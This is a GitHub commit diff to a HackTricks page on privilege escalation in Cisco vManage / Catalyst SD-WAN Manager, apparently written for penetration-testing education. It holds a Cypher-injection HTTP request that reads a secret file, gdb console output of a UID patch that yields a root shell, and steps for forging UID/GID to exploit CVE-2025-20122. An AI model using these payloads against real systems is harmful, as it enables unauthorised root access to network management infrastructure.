Skip to content

Commit cfb6adf

Browse files
authored
Merge pull request #1872 from HackTricks-wiki/research_update_src_linux-hardening_privilege-escalation_cisco-vmanage_20260208_031514
Research Update Enhanced src/linux-hardening/privilege-escal...
2 parents 69c3373 + 5368f0e commit cfb6adf

1 file changed

Lines changed: 30 additions & 4 deletions

File tree

src/linux-hardening/privilege-escalation/cisco-vmanage.md

Lines changed: 30 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ vmanage:~$ ls -al /etc/confd/confd_ipc_secret
1717
Remember our Neo4j instance? It is running under the `vmanage` user's privileges, thus allowing us to retrieve the file using the previous vulnerability:
1818

1919
```
20-
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
20+
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
2121
2222
Host: vmanage-XXXXXX.viptela.net
2323
@@ -56,7 +56,10 @@ The blog¹ by the synacktiv team described an elegant way to get a root shell, b
5656

5757
When I disassembled `/usr/bin/confd_cli` binary, I observed the following:
5858

59-
```
59+
<details>
60+
<summary>Objdump showing UID/GID collection</summary>
61+
62+
```asm
6063
vmanage:~$ objdump -d /usr/bin/confd_cli
6164
… snipped …
6265
40165c: 48 89 c3 mov %rax,%rbx
@@ -85,6 +88,8 @@ vmanage:~$ objdump -d /usr/bin/confd_cli
8588
… snipped …
8689
```
8790

91+
</details>
92+
8893
When I run “ps aux”, I observed the following (_note -g 100 -u 107_)
8994

9095
```
@@ -124,7 +129,10 @@ run
124129

125130
Console Output:
126131

127-
```
132+
<details>
133+
<summary>Console output</summary>
134+
135+
```text
128136
vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli
129137
GNU gdb (GDB) 8.0.1
130138
Copyright (C) 2017 Free Software Foundation, Inc.
@@ -158,7 +166,25 @@ uid=0(root) gid=0(root) groups=0(root)
158166
bash-4.4#
159167
```
160168

161-
{{#include ../../banners/hacktricks-training.md}}
169+
</details>
170+
171+
## Path 3 (2025 CLI input validation bug)
162172

173+
Cisco renamed vManage to *Catalyst SD-WAN Manager*, but the underlying CLI still runs on the same box. A 2025 advisory (CVE-2025-20122) describes insufficient input validation in the CLI that lets **any authenticated local user** gain root by sending a crafted request to the manager CLI service. Combine any low-priv foothold (e.g., the Neo4j deserialization from Path1, or a cron/backup user shell) with this flaw to jump to root without copying `confd_cli_user` or attaching GDB:
163174

175+
1. Use your low-priv shell to locate the CLI IPC endpoint (typically the `cmdptywrapper` listener shown on port 4565 in Path2).
176+
2. Craft a CLI request that forges UID/GID fields to 0. The validation bug fails to enforce the original caller’s UID, so the wrapper launches a root-backed PTY.
177+
3. Pipe any command sequence (`vshell; id`) through the forged request to obtain a root shell.
164178

179+
> The exploit surface is local-only; remote code execution is still required to land the initial shell, but once inside the box exploitation is a single IPC message rather than a debugger-based UID patch.
180+
181+
## Other recent vManage/Catalyst SD-WAN Manager vulns to chain
182+
183+
* **Authenticated UI XSS (CVE-2024-20475)** – Inject JavaScript in specific interface fields; stealing an admin session gives you a browser-driven path to `vshell` → local shell → Path3 for root.
184+
185+
## References
186+
187+
- [Cisco Catalyst SD-WAN Manager Privilege Escalation Vulnerability (CVE-2025-20122)](https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-sdwan-priviesc-WCk7bmmt.html)
188+
- [Cisco Catalyst SD-WAN Manager Cross-Site Scripting Vulnerability (CVE-2024-20475)](https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-sdwan-xss-zQ4KPvYd.html)
189+
190+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)